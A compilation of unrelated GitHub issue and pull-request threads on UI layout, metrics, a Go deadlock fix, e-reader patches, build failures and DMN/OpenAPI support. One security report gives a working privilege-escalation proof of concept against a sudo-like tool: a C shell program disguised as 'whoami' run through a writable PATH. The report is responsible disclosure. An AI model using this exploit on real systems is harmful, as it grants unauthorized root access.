Review layout of Meadow 2.0

The original design of Meadow 2.0 was very stylish but after many technical tweaks there are some aspects that start to look a bit messy.
It would be desirable for the design team to review the current state of Meadow and offer improvement suggestions.
Some examples that clearly could use some improvement:

Table column sizes in Simulator make little sense.
Fonts and font styles in errors look inappropriate.
Colors, layout, and borders in errors are probably inconsistent with playgrounds and other style guidelines.

[ ] input boxes in input composer become unstyled sometimes
[ ] if you make an error in the contract editor you need to refocus to fix the error
[ ] input composer should have some text when there are no actions available
[ ] state table looks messy


Push metrics to Graphite

Graphite is better than Prometheus Push Gateway to collect metrics, we should use it to push metrics from Java SDK.
The client library we use already support Graphite protocol as a Bridge.

VictoriaMetrics accept Graphite also, we should make sure it works as well.
https://github.com/VictoriaMetrics/VictoriaMetrics#how-to-send-data-from-graphite-compatible-agents-such-as-statsd


Merge feature branches

As an interested user of this project, I find it confusing that there are so many branches. There should be only one develop branch that holds all the required files.

Done after:
https://github.com/alliander-opensource/ReLevENT/pull/17
Deleting left over branches 'develop' and 'technical-demo_hedera-interface', these changes are in main by now.


Re-enable google analytics for vuestic admin

Probably makes sense to do after https://github.com/epicmaxco/vuestic-ui/issues/3601.
Previously we had google-analytics enabled for vuestic admin, but it was disabled at some point (we also didn't use it that much). There are some leftovers, but it doesn't work for now.
Right now we want to focus on analytics, so let's re-enable it.
Here's an ID for vuestic.epicmax.co: G-T0ZS861F5G.
What we have to do is:

[ ] Enable google analytics (you can use vuestic-ui implementation (docs/modules/google-analytics), or external library, whatever works)

We want to have 2 keys (on/off and google-analytics key) - see explanation in https://github.com/epicmaxco/vuestic-ui/issues/3601

[ ] Introduce privacy policy page (also see https://github.com/epicmaxco/vuestic-ui/issues/3601). For privacy policy page make note that for admin - it's trickier. As policy page is used for admin site (when user checks admin pages) and also users will repurpose policy and analytics for their own usage, so it's also a pre-fabricated solution of sorts.

Finish after vuestic-admin fixes
Also see https://github.com/epicmaxco/vuestic-admin/pull/925

On hold before we have vuestic-admin fixed. Right now newest version is broken.

Done


X-Frame-Options and X-Content-Type-Options

https://www.pivotaltracker.com/story/show/81502596
These headers are set by Rails. This is only happening when serving static files, e.g. 500.html, CSS, etc. Action to be taken: Configure web server to set these headers for static content

@mattmb is this done?

Yup


Determine why #53072 broke post-submit (after passing pre-submit)

Original PR: https://github.com/flutter/engine/pull/53072.
See revert: https://github.com/flutter/engine/pull/53220.
/cc @cbracken @jason-simmons

Likely a race condition with the ARC migration work.
FlutterPlatformViews_Internal.mm:277:10: error: ARC forbids explicit message send of 'dealloc'
  277 |   [super dealloc];
      |    ~~~~~ ^

I doubt if it's even possible to avoid this kind of race condition, because presubmit runs on a un-rebased branch. Between presubmit and postsubmit runs, there can always be a commit that gets merged to main.


Fix deadlock when (un)subscribing from/to the eventstream

This PR introduces the method eventstream.PublishUnsafe which does not acquire the read lock on the eventstream.
When a ClusterTopologyEvent is published on the event stream the emitter of this event has acquired a read lock to the event stream. As an effect of this event another call to eventstream.Publish is synchronously made in updateAndNotify further down the chain. So a second read lock gets acquired (eventstream/eventstream.goL65)
When right in between both of those two read locks another write lock wants to be made we end up in a dead lock. The order of events:

read lock gets acquired
write lock -> waits until first read lock is released
second read lock -> waits until the write lock is released

That the second read lock waits for the write lock is an implementation detail of the sync.RWMutex RLock method:
// RLock locks rw for reading.
//
// It should not be used for recursive read locking; a blocked Lock
// call excludes new readers from acquiring the lock. See the
// documentation on the RWMutex type.
func (rw *RWMutex) RLock() {
	if race.Enabled {
		_ = rw.w.state
		race.Disable()
	}
	if atomic.AddInt32(&rw.readerCount, 1) < 0 {
		// A writer is pending, wait for it.          <-------
		runtime_SemacquireMutex(&rw.readerSem, false, 0)
	}
	if race.Enabled {
		race.Enable()
		race.Acquire(unsafe.Pointer(&rw.readerSem))
	}
}

Source: https://golang.org/src/sync/rwmutex.go
It is safe to use the PublishUnsafe method in updateAndNotify because it is synchronously made as a result of the ClusterTopologyEvent.
The given test proves that there was a deadlock. When the PublishUnsafe methods are replaced with the regular Publish methods we run into a timeout.

@dennis-tra Sorry for late reply! Wow, this is a great catch! = )

@dennis-tra I just double checked ProtoActor-Dotnet and it seems instead of a mutex lock, it uses the default synchronized dispatcher to manage messages(similar to actors). https://github.com/AsynkronIT/protoactor-dotnet/blob/dev/src/Proto.Actor/EventStream.cs
This is something I'll investigate in Go as well, perhaps in the end we can get rid of the mutex lock in EventStream.

@dennis-tra I just made a PR, which uses a concurrent map instead of array and mutex.
https://github.com/AsynkronIT/protoactor-go/pull/376

@dennis-tra I just made a PR, which uses a concurrent map instead of array and mutex.
#376

I've commented on your PR :+1:


Change @w to {?} in UriMapping handlers

Since Starcounter 2.2, {?} should be used instead of @w in OntologyMap according to the release notes.
Old usage found on line: https://github.com/Starcounter/PlaygroundKeeper/blob/5aa56361299b4f3fe6c3819f6e1fe7d62c9ba7ba/src/PlaygroundKeeper/Program.cs#L154

Done. Thanks for noting it.


Changing the info panel in full size screensaver

Everything on MobileRead suggests that "Changing the info panel in full size screensaver" should work on all versions. But it isn't working on my Glo HD.
I would love to be able to customise the info panel, for example,

moving it to the upper left (or upper right)
adding the battery level
removing "Sleeping"

This may be due to the recent CSS changes in nickel. I'll look into it sometime in the next few days.

@jcn363?

@benchen71, have a look at this post by jackie_w on MobileRead:

I don't use jcn363's full screensaver patch myself but I do have my own patch for that particular CSS stream so I can make a few general comments...
It looks to me as if all jcn363's patch is doing is changing the font-size of some of the text (battery charging status only ???) in the semi-transparent rectangular (rather large & ugly ) info panel which appears two-thirds the way down the left-hand edge of the full screensaver, obscuring some of the cover.
The ability to change the position of this panel (to one of the corners) disappeared many firmwares ago, or at least it's no longer obvious how to do it.
You can still change the size of the panel by changing the #infoWidget min/max-width value.
I'm not sure what benchen71 actually means by 'removing Sleeping'. I think it's probably possible to change the 'Sleeping' and 'Powered off' text to something you like better as they are both strings in libnickel.so.1.0.0 (D1E774). However, as they are both quite short strings I don't know how much flexibility there would be in renaming them. Overtyping them with normal spaces sounds plausible in theory.
For my own purposes I wanted to use the full, rather than small, screensaver and also be able to see at a glance whether my device is sleeping or powered off. So my own custom patch:

significantly reduces info panel size when Powered off
reduces info panel size to zero when Sleeping, so that the cover is fully visible.

As for 'adding the battery level'. I thought the info panel already displayed the battery level whilst sleeping if the device is currently charging. It certainly used to, but I can't say for sure because of my custom patch.

Thanks for sharing that.  I've now made my own custom patch (which works well on my Glo HD):
Resize info panel:

Enabled: yes
Description: |
Custom patch to change the width of the info panel.
FindZlib: "#infoWidget"
ReplaceZlibGroup:
Replacements:
- {Find: "max-width: 300px;", Replace: "max-width: 150px;"} # Trilogy
- {Find: "min-width: 300px;", Replace: "min-width: 150px;"} # Trilogy
- {Find: "qproperty-topMargin: 12px;", Replace: "qproperty-topMargin: 6px;"} # Trilogy
- {Find: "qproperty-bottomMargin: 12px;", Replace: "qproperty-bottomMargin: 6px;"} # Trilogy
- {Find: "qproperty-rightMargin: 12px;", Replace: "qproperty-rightMargin: 6px;"} # Trilogy
- {Find: "qproperty-leftMargin: 24px;", Replace: "qproperty-leftMargin: 12px;"} # Trilogy
- {Find: "max-width: 380px;", Replace: "max-width: 190px;"} # Phoenix
- {Find: "min-width: 380px;", Replace: "min-width: 190px;"} # Phoenix
- {Find: "qproperty-topMargin: 16px;", Replace: "qproperty-topMargin: 8px;"} # Phoenix
- {Find: "qproperty-bottomMargin: 16px;", Replace: "qproperty-bottomMargin: 8px;"} # Phoenix
- {Find: "qproperty-rightMargin: 16px;", Replace: "qproperty-rightMargin: 8px;"} # Phoenix
- {Find: "qproperty-leftMargin: 32px;", Replace: "qproperty-leftMargin: 16px;"} # Phoenix
- {Find: "max-width: 470px;", Replace: "max-width: 235px;"} # Dragon
- {Find: "min-width: 470px;", Replace: "min-width: 235px;"} # Dragon
- {Find: "qproperty-topMargin: 22px;", Replace: "qproperty-topMargin: 11px;"} # Dragon
- {Find: "qproperty-bottomMargin: 22px;", Replace: "qproperty-bottomMargin: 11px;"} # Dragon
- {Find: "qproperty-rightMargin: 22px;", Replace: "qproperty-rightMargin: 11px;"} # Dragon
- {Find: "qproperty-leftMargin: 44px;", Replace: "qproperty-leftMargin: 22px;"} # Dragon
- {Find: "max-width: 611px;", Replace: "max-width: 305px;"} # Daylight
- {Find: "min-width: 611px;", Replace: "min-width: 305px;"} # Daylight
- {Find: "qproperty-topMargin: 28px;", Replace: "qproperty-topMargin: 14px;"} # Daylight
- {Find: "qproperty-bottomMargin: 28px;", Replace: "qproperty-bottomMargin: 14px;"} # Daylight
- {Find: "qproperty-rightMargin: 28px;", Replace: "qproperty-rightMargin: 14px;"} # Daylight
- {Find: "qproperty-leftMargin: 56px;", Replace: "qproperty-leftMargin: 28px;"} # Daylight


22 multiple apps

Large overhaul with new docs, encapsulated internal structure (which allows for multiple Lunchbox apps on a single page), and named slots for overriding default camera, scene, and renderer components.

If you merge #33 that would update this branch

Thanks again @Korijn , appreciate the work!


Failure when retrieving float from database

When an object containing a float is retrieved from the database, the float comes out as a Decimal, which causes serializing the object to json to fail.

@pokey couldn't reproduce this - I couldn't find any "base" field that uses int/float in our model definitions (CrawlJob and CrawlJobResult), but I did try to add a sub-field inside a json blob (e.g the parameters field of a CrawlJob). I created one with the following POST /api/v1/crawl_job payload:
{
    "type": "service_provider_website",
    "parameters": {
        "seedUrl": "https://www.globality.com",
        "someNumber": 5.2
    },
    "state": "created"
}

and was able to retrieve it (with naive Decimal deserializing which we can take care of with custom encoding to enforce some desired maximum precision):
{
  "_links": {
    "self": {
      "href": "http://localhost:6420/api/v1/crawl_job/d25ac994-4653-4a45-93c3-aaa42447d1f9"
    }
  },
  "id": "d25ac994-4653-4a45-93c3-aaa42447d1f9",
  "parameters": {
    "seedUrl": "https://www.globality.com",
    "someNumber": 5.2000000000000001776356839400250464678
  },
  "state": "created",
  "type": "service_provider_website"
}

are you sure you can reproduce currently? if so can you provide example?


Writable $PATH allows for privilege escalation

The $PATH variable is kept in the elevated process that the user requests. If they are allowed one command such as whoami, without an absolute path, they can overwrite this program with the PATH variable:
//config.h
static const Rule rules[] = {
    /* permit   user      group   target user  command     arguments */
    { true,     "user",   NULL,   "root",      "whoami",   NULL},
};

The above rule might be common to let the user execute whoami as root. An attacker can abuse this by creating another binary named "whoami" that executes any code they want, like a shell. Then executing it with the path where the malicious "whoami" resides inside the PATH variable will execute that binary instead of the regular whoami:
//shell.c
#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>

void main() {
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}

user@machine$ id  # low-level user
uid=1001(user) gid=1001(user) groups=1001(user)
user@machine$ gcc shell.c -o whoami
user@machine$ PATH=.:$PATH exas whoami  # whoami executes bash shell instead
password for user:
root@machine# id
uid=0(root) gid=1001(user) groups=1001(user)

The real sudo in comparison protects this by removing environment variables the user sets:
...
user@machine$ PATH=.:$PATH sudo whoami
root
user@machine$ PATH=.:$PATH sudo env | grep PATH  # notice the PATH variable is reset
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

Thanks JorianWoltjer,
i really appreciate your very good explanation of the security vulnerability, i never would have thought about that issue. I'll fix it as soon as i find time to do so.


fix(readStateBatch): remove interactions check so contract is evaluat…

…ed at least once
Issue: https://github.com/warp-contracts/warp/issues/495

Fixed in v1.4.32


add deps to useSelector to allow controlling stability of selector

This PR adds a deps parameter to useSelector as discussed here.
It also fixes an issue with staleness of the selector.

If no dependency array is passed what happens?

@Dudeonyx : the latest passed-in selector should get used, instead of a previous one.

LGTM.  I'll try to get alpha.1 published shortly.


Fixes for SS4 Upgrade

Introduced namespaces
Fixes a few dependencies
Fixes an issue where namespace'd classes cause a 404 when using the multi class add button
Fixes a few bugs introduced by upgrades
Moved templates across to a proper hierarchy
Bumped composer to make it work for SS4 installations - may require removing at a later date

@jaydenseric You had a chance to review this? Keen to get it back in main branch and remove this three level deep fork.

Sorry, for some reason I didn't get a notification! I don't have a SilverStripe environment to test this out with anymore, but it looks good. Merging :)


Update configure-custom-container.md

Following PR is an effort to clarify the behavior of the persistent storage feature within custom containers.
Please find inline comments below for reasoning on the changes.

@PedroGuerraPT : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#label:"aq-pr-triaged"

#sign-off

@msangapu-msft: I'm sorry - only the author of this article, @cephalin, can sign off on your changes. But we do have an exception process - if you are on the Microsoft content or product team for this product area, you can ask the PR review team to review and merge it by sending mail to the techdocprs alias.


Fix 2.5.1. header anchor link

Corrects the markdown to properly link to the header "4. Lookaround" in section 2.5.1

Thanks 👍


[bug] Color contrast not working for some text elements

Text in a new site (while in editor) does not contrast with its background when browser (tested both FireFox and Chrome) are in dark mode (and also in light mode for Chrome). Here is a table to show what does have good contrast and what does not, as well as screenshots. Also tested switching between light & dark mode in HAX itself, did not fix issue. Possibly a light-dark() issue?

Chrome
Firefox

Light Mode
Bad
Good

Dark mode
Bad
Bad

Firefox
Light Mode

Dark Mode

Chrome
Light Mode

Dark Mode

thanks for the report, glad I caught this just before publishing as it affected several themes and block elements.


len(min, max) always got error the checked field's length equal or great than the min.

When the checked field's length is greater than the max length, it will cause the same error the checked field's length equal or great than the min which should be the checked field's length equal or  small than the max.

'len(min,max)' tips error,I fixed it in 0.2.11.
thanks.


improve performance of exclude

Reworked exclusion logic to avoid recursing unnecessarily into excluded directories.  Uses utils.getFiles instead of globExpander.

I'll take a look at this soon.  Thanks again for contributing.

Thank you.


Add Password Prompt to Login

Would be good if Login had the ability to prompt for a hidden password for security.
example ideas:
harbor login demo.goharbor.io -u admin
Password Prompt: **********
harbor login demo.goharbor.io -u admin --passwordprompt
Password Prompt: **********

Hi @AquaBearCo,
Thank you for your suggestion! There is already an issue for handling password login #10 . Fixing that issue will address your request for a hidden password prompt during login.
Thanks.

@bupd I tried logging in but got the message this message:-

Yes it's a known issue. And it will be fixed when adding the PR.
it's coming because you gave the server as demo.goharbor.io instead of https://demo.goharbor.io
try with https it should work.
Thanks.

I have successfully created a password prompt using "term" package of go, which can invoked using --passprompt command
like this:-

I have also added a "Logged In Successfully" message as before there were notification.

@AquaBearCo please assign the issue to me so that i can push the changes in new branch

Consider closing this issue as Harbor-CLI now by default masks password.


Folds Buffer tree into UnsafeBuffer to improve performance

Recent optimizations required peeking at the underlying byte array. This
change formalizes the buffer as one that is specialized for being array
backed (and writes are unsafe eg not bounds checked).
The results are now almost the same as google's proto library, despite
this library being smaller and including proto, json and thrift codecs
and a functional Zipkin storage engine:
Comparison: decoding 1000 proto3 encoded spans
ProtoCodecBenchmarks.bytes_protobufDecoder:bytes_protobufDecoder·p0.99       sample            1953.710                us/op
ProtoCodecBenchmarks.bytes_protobufDecoder:·gc.alloc.rate.norm               sample     15  2023206.265 ±     32.203    B/op
ProtoCodecBenchmarks.bytes_wireDecoder:bytes_wireDecoder·p0.99               sample            2351.104                us/op
ProtoCodecBenchmarks.bytes_wireDecoder:·gc.alloc.rate.norm                   sample     15  2435408.568 ±     53.612    B/op

Before
ProtoCodecBenchmarks.bytes_zipkinDecoder:bytes_zipkinDecoder·p0.99           sample            2162.688                us/op
ProtoCodecBenchmarks.bytes_zipkinDecoder:·gc.alloc.rate.norm                 sample     15  2095172.026 ±     45.379    B/op

After
ProtoCodecBenchmarks.bytes_zipkinDecoder:bytes_zipkinDecoder·p0.99           sample            1996.800                us/op
ProtoCodecBenchmarks.bytes_zipkinDecoder:·gc.alloc.rate.norm                 sample     15  2095168.617 ±     36.985    B/op

FYI: While this is array backed, it doesn't imply allocating a new array
per span. Those looking to read large amounts of data can use this by
slicing a buffer and filling for each length-prefixed byte string.

merging as interested in doing a perf test prior to release and there are multiple PRs involved


[WIP] Preprocessing Phase for Updates

Issue fixed: #383

[ ] Add Unit Tests
[ ] Make IGListUpdatingDelegate's new API support blocking on the preprocess phase
[ ] Fix indentation!
[ ] Figure out how to pipe the set of section controllers into the preprocessing system

OK gentlemen could I get another look? @rnystrom @ocrickard @jessesquires
Notes:

Blocking main Of course its unpleasant to block the main thread, but it's important in some cases, such as when we want to perform synchronous updates.

Safe as long as their IGListPreprocessingDelegate doesn't wait on the main queue, synchronously or asynchronously.

Should we do preprocessing before item-level updates? Seems like it would be valuable, but maybe surprising?
See my TODO about section map. Do y'all agree with my interpretation – that what we have to do is generate the future section map in advance, without actually applying the state to the section controllers, and then simply apply it during objectTransitionBlock?

Sorry for the delay! I'm way overdue on reviewing this. On my docket for the week.

Hey @Adlai-Holler -- we've finally tagged and released 3.0. Do you still want to follow-up on and support this PR? If so, now should be a pretty good time -- probably won't be much activity for a bit 😄

@jessesquires I've been waiting for review for a good long time on this one!
Unfortunately though, I just don't have the resources to work more on this in the near future. I'll close this diff but of course I'd encourage anyone who picks this up to salvage anything they can from my work here. Cheers gents!

Thanks @Adlai-Holler ! 👍  💯

@Adlai-Holler apologies for dropping the ball here, I absolutely still want this and am going to use your work to push this through. So sorry for leaving this in limbo, internal priorities/etc distracted me 😭


Builds fail on Netlify

Environment

Operating System: Linux
Node Version:     v20.5.0
Nuxt Version:     3.6.5
Nitro Version:    2.5.2
Package Manager<EMAIL_ADDRESS>Builder:          vite
User Config:      extends, app, alias, modules, experimental, routeRules, vite, css, colorMode
Runtime Modules<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>vite-plugin-vue-type-imports/nuxt
Build Modules:    -

Reproduction
Repo: https://github.com/ijkml/PennyPay
Describe the bug
First of all, I'm not sure if this a Nuxt issue or Netlify issue. All my recent builds are failing. Same projects deployed on Vercel build/deploy without issues. I thought it was a v3.7 issue, but the older versions fail as well. The last commit and deploy for the project (Aug 21) was successful but fails today. Logs :point_down:
Additional context
No response
Logs
11:58:15 PM: build-image version: 73f16e520fdddf409be6f578c8c2c8941bdf32d3 (focal)
11:58:15 PM: buildbot version: 73f16e520fdddf409be6f578c8c2c8941bdf32d3
11:58:15 PM: Fetching cached dependencies
11:58:15 PM: Starting to download cache of 162.4MB
11:58:18 PM: Finished downloading cache in 2.441s
11:58:18 PM: Starting to extract cache
11:58:19 PM: Finished extracting cache in 1.763s
11:58:19 PM: Finished fetching cache in 4.262s
11:58:19 PM: Starting to prepare the repo for build
11:58:20 PM: Preparing Git Reference refs/heads/main
11:58:21 PM: Starting to install dependencies
11:58:21 PM: Python version set to 3.8
11:58:21 PM: Attempting Ruby version 2.7.2, read from environment
11:58:22 PM: Using Ruby version 2.7.2
11:58:22 PM: Started restoring cached go cache
11:58:22 PM: Finished restoring cached go cache
11:58:22 PM: go version go1.19.12 linux/amd64
11:58:23 PM: Using PHP version 8.0
11:58:24 PM: Started restoring cached Node.js version
11:58:25 PM: Finished restoring cached Node.js version
11:58:25 PM: Downloading and installing node v20.6.0...
11:58:25 PM: Downloading https://nodejs.org/dist/v20.6.0/node-v20.6.0-linux-x64.tar.xz...
11:58:25 PM: Computing checksum with sha256sum
11:58:25 PM: Checksums matched!
11:58:28 PM: Now using node v20.6.0 (npm v9.8.1)
11:58:28 PM: Enabling Node.js Corepack
11:58:28 PM: Started restoring cached build plugins
11:58:28 PM: Finished restoring cached build plugins
11:58:28 PM: Started restoring cached corepack dependencies
11:58:28 PM: Finished restoring cached corepack dependencies
11:58:28 PM: No pnpm workspaces detected
11:58:28 PM: Started restoring cached node modules
11:58:28 PM: Finished restoring cached node modules
11:58:29 PM: Installing npm packages using pnpm version 8.6.11
11:58:29 PM: Lockfile is up to date, resolution step is skipped
11:58:29 PM: Already up to date
11:58:30 PM: > @ postinstall /opt/build/repo
11:58:30 PM: > nuxi prepare
11:58:30 PM: [log] Nuxi 3.6.5
11:58:31 PM: Failed during stage 'Install dependencies': dependency_installation script returned non-zero exit code: 1
11:58:31 PM: [error] Cannot redefine property: __internal__deprecationWarning
11:58:31 PM:   at Function.defineProperty (<anonymous>)
11:58:31 PM:   at Object.<anonymous> (node_modules/.pnpm/@babel+types@7.22.10/node_modules/@babel/types/lib/index.js:66:8)
11:58:31 PM:   at Module._compile (node:internal/modules/cjs/loader:1241:14)
11:58:31 PM:   at Module._extensions..js (node:internal/modules/cjs/loader:1295:10)
11:58:31 PM:   at Module.load (node:internal/modules/cjs/loader:1091:32)
11:58:31 PM:   at Module._load (node:internal/modules/cjs/loader:938:12)
11:58:31 PM:   at Module.require (node:internal/modules/cjs/loader:1115:19)
11:58:31 PM:   at require (node:internal/modules/helpers:130:18)
11:58:31 PM:   at Object.<anonymous> (node_modules/.pnpm/@babel+types@7.22.10/node_modules/@babel/types/lib/builders/validateNode.js:8:9)
11:58:31 PM:   at Module._compile (node:internal/modules/cjs/loader:1241:14)
11:58:31 PM:  ELIFECYCLE  Command failed with exit code 1. (https://ntl.fyi/exit-code-1)
11:58:31 PM: Error during pnpm install
11:58:31 PM: Build was terminated: dependency_installation script returned non-zero exit code: 1
11:58:31 PM: Failing build: Failed to install dependencies

See https://github.com/nuxt/nuxt/issues/23020. Temporarily downgrade Node to v20.5.1.


chore: release 2.10.6

:robot: I have created a release *beep* *boop*
2.10.6 (2024-09-17)
Bug Fixes

ci-env, gitlab: fix annotation with pipeline url (bb86d5e)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/werf/werf/releases/tag/v2.10.6 :sunflower:


ERR PersistentVolumeClaim/storage not found: the server could not find the requested resource

When attempting to apply a Deployment object that depends on a PVC, the timoni apply command fails with:
ERR PersistentVolumeClaim/my-pvc not found: the server could not find the requested resource

Example YAML:
apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app.kubernetes.io/name: myapp
    app.kubernetes.io/version: 0.0.0-devel
    name: myapp
  name: myapp
  namespace: default
spec:
  replicas: 1
  selector:
    matchLabels:
      name: myapp
  template:
    metadata:
      labels:
        name: myapp
    spec:
      containers:
        - image: myimage:tag
          imagePullPolicy: IfNotPresent
          name: app
          volumeMounts:
            - mountPath: /storage
              name: storage
      volumes:
        - name: storage
          persistentVolumeClaim:
            claimName: storage
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: storage
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 10Gi
  storageClassName: class
---

When applying the manifests directly to the cluster using kubectl apply -f the same issue is not observed and the deployment waits for the PVC to be created before starting.

This was a misconfiguration on my end (the actual module was a lot larger and was simplified here).


String slices

Description
This change formalizes the str type to represent string data using string slices.
String literals now evaluate to dynamically sized string slices that contain a pointer to what used to the packed data representation and a length.
The standard library String and Bytes have had their interface changed to interact with strs idiomatically.
The __size_of_str intrinsic is removed as it is no longer needed.
Types and functions that carry the literal data for the string in IR generation have been renamed from String to StringData to avoid confusion.
Part of #4375
Checklist

[x] I have linked to any relevant issues.
[x] I have commented my code, particularly in hard-to-understand areas.
[x] I have updated the documentation where relevant (API docs, the reference, and the Sway book).
[x] I have added tests that prove my fix is effective or that my feature works.
[x] I have added (or requested a maintainer to add) the necessary Breaking* or New Feature labels where relevant.
[x] I have done my best to ensure that my PR adheres to the Fuel Labs Code Review Standards.
[x] I have requested a review from the relevant team or maintainers.

This issue looks like a related one: #1060


ci: Run tests under miri on a big endian platform

This needs #100 to land first.
I think we can try having this required and see what happens.

It is nice to run this via cargo hack, but this may be too slow to keep this way ... going to land this as is for now though.

I don't think cargo hack does anything here? We always run tests with all_features.
It is extremely unusual to have tests running under cargo hack - indeed, so unusual that I didn't even notice it when reviewing this.


Please add support to export the answers from a catalog deployed stack

The export feature is awesome, except there doesn't seem to be a way via the UI or the API to export just the answers. Can this please be added to Rancher v1 and the v2-beta api?
It would make backup much better, as restore would just be pointing to a catalog version and providing the answers file.
Thanks.

I need it too.
That would make backup / restore / update much easier.
Did you find a way to get the answers from a stack?

Answers are stored in the .environment object of the stack json returned by the API, you can get them there.
I wrote a script (I haven't opened sourced it yet) that does this for me. I might have time to do it in the near future.


DMN integration with OpenAPI support potential?

Hi Team,
Been swapping between RHPAM 7.3 and a Quarkus/Kogito based immutable infrastructure decision-server approach, and going to at least ask the question:
Seeing things like the kogito-dmn-rest-utils library, are there any potential ideas/approaches to make stronger openAPI contracts that define the actual InputModels rather than a generic dmn-context approach?
i.e. some way to interrogate DMNItemDefinitionInfo to through codegen or some other mechanism create an equiv complex pojo/json struct that strongly types the openAPI interface for a given DMN model?
(I may have worded this slightly incorrect, but hoping the intent is transferred!)

Forgot to add - this ability to create a struct would also be useful for other transport/protocol approaches as well (for example, AMQP), so although the initial/primary usecase is for REST/OpenAPI, it can be used elsewhere to help create better contracts of how to send data to DMN based decision services.

I'd say yes, this is what we are aiming for and already used in one of the examples, see here https://github.com/kiegroup/kogito-examples/blob/master/onboarding-example/payroll/src/main/java/org/kie/kogito/examples/VacationDaysDMNEndpoint.java#L41
that exactly opens it up for complete and type safe REST api that combined with openapi/swagger gives consumers way easier start
@tarilabs just so you're aware of....

Thanks @mswiderski for the ping and indeed that's what we are aiming for @dhartford
In fact thank you for the question @dhartford , as you might have noticed, the REST endpoints are per-model or per-service, and with Kogito the intention is to avoid the "generic payload" which is instead the approach used on Kie Server.
Just a word of warning, tho, about "strong typing": DMN and especially FEEL is more of a dynamic type, so while we are aiming to generate OpenAPI/Swagger documentation/contracts/etc, we still want to support the intrinsic nature of DMN/FEEL.
In the end I expect for each REST endpoint you will have a clear description contract and documentation, so for instance if the DMN model has 2 Input Data, in that contract will be listed explicitly the requirements and output of the REST endpoint as based on the model.
On Kie Server, this is available via GET method which returns the description of the model, but I concur is not an OpenAPI descriptor.
Available if any further questions or doubts

Thanks @tarilabs and @mswiderski for the quick responses!
I'm reviewing https://github.com/kiegroup/kogito-examples/blob/master/onboarding-example/payroll/src/main/java/org/kie/kogito/examples/VacationDaysDMNEndpoint.java#L41 , and more specifically the generated models used, to see how far the team has already gotten  - this is actually pretty exciting!

Question: what is the 'data modeler tool' used to generate the pojo and how to recreate the process?
/**

This class was automatically generated by the data modeler tool.
*/

That is the workbench data model editor

Ah, the DMN InputData re-creates a Structure that has parity (maps to) the model, in that they are disconnected but coupled-by-convention only (manually).

@dhartford I'm not really sure I fully understand your last statement, but please notice DMN being still under active development, I expect this will be eventually be further simplified by automated code generation.

I'll restate - it appears of you are doing DMN-first development, and you create the InputData, in order to make a stronger OpenAPI definition / message model, you then have to manually create a POJO a specific way to follow the convention of the name(s) used in the InputData and keep the two in-sync manually.
Obviously, if you are developing Domain/Pojo first and then creating InputData by following the convention of the existing Pojo, not as bad but still room for errors, but when you are doing DMN input first seems a bit clunky.
Absolutely recognize DMN (and kogito itself) under active development :-)

the example link of onboarding is broken.

Hi @ravim786 which link is broken, please?
Can you provide a permalink or a screenshot?
Thanks,
MM
On Mon, 20 Apr 2020 at 02:58, ravim786<EMAIL_ADDRESS>wrote:

the example link of onboarding is broken.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/kiegroup/kogito-runtimes/issues/95#issuecomment-616256477,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAM63ND5HCQWBMRXPJIYKFTRNOMZZANCNFSM4IBUK2UQ
.

The reference link above
https://github.com/kiegroup/kogito-examples/blob/master/onboarding-example/payroll/src/main/java/org/kie/kogito/examples/VacationDaysDMNEndpoint.java#L41

Yes it's normal that is an old link; now DMN REST endpoints are
code-generated automatically by Kogito, based on the DMN assets.
So kogito will scan the assets, which for that example are present here:
https://github.com/kiegroup/kogito-examples/tree/master/onboarding-example/payroll/src/main/resources/org/kie/kogito/examples/payroll
and will generate automatically the REST endpoint, as usual.
Hope that clarifies,
MM
On Wed, 22 Apr 2020 at 03:26, ravim786<EMAIL_ADDRESS>wrote:

The reference link above
https://github.com/kiegroup/kogito-examples/blob/master/onboarding-example/payroll/src/main/java/org/kie/kogito/examples/VacationDaysDMNEndpoint.java#L41
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/kiegroup/kogito-runtimes/issues/95#issuecomment-617481720,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAM63NCT575VKC4MVLDEXDTRNZBUXANCNFSM4IBUK2UQ
.

Considering this issue as resolved since https://issues.redhat.com/browse/BAPL-1616 enables "strongly typed" feature on Kogito and consequently Swagger/OpenAPI is generated as part of the Kogito build


Docker build is failing - undefined: tls.VersionTLS13

Command:
version: "3.7"

services:
  caddy:
    build:
      context: github.com/abiosoft/caddy-docker.git
      args:
        plugins: git

Here is the full log
Building caddy
Step 1/22 : FROM abiosoft/caddy:builder as builder
 ---> 9cbfda20af8a
Step 2/22 : ARG version="0.11.5"
 ---> Using cache
 ---> 891218b1db0a
Step 3/22 : ARG plugins="git,filebrowser,cors,realip,expires,cache"
 ---> Using cache
 ---> 035c26c22573
Step 4/22 : RUN go get -v github.com/abiosoft/parent
 ---> Using cache
 ---> b3b14adbe41f
Step 5/22 : RUN VERSION=${version} PLUGINS=${plugins} /bin/sh /usr/bin/builder.sh
 ---> Running in 9c154344f8c9
Cloning into '/go/src/github.com/mholt/caddy'...
Note: checking out '80dfb8b2a7f89b120a627bc4d866a1dc5ed3d92f'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b <new-branch-name>

Switched to a new branch 'v0.11.5'
github.com/abiosoft/caddyplug (download)
github.com/abiosoft/errs (download)
github.com/fatih/color (download)
Fetching https://golang.org/x/sys/unix?go-get=1
Parsing meta tags from https://golang.org/x/sys/unix?go-get=1 (status code 200)
get "golang.org/x/sys/unix": found meta tag get.metaImport{Prefix:"golang.org/x/sys", VCS:"git", RepoRoot:"https://go.googlesource.com/sys"} at https://golang.org/x/sys/unix?go-get=1
get "golang.org/x/sys/unix": verifying non-authoritative meta tag
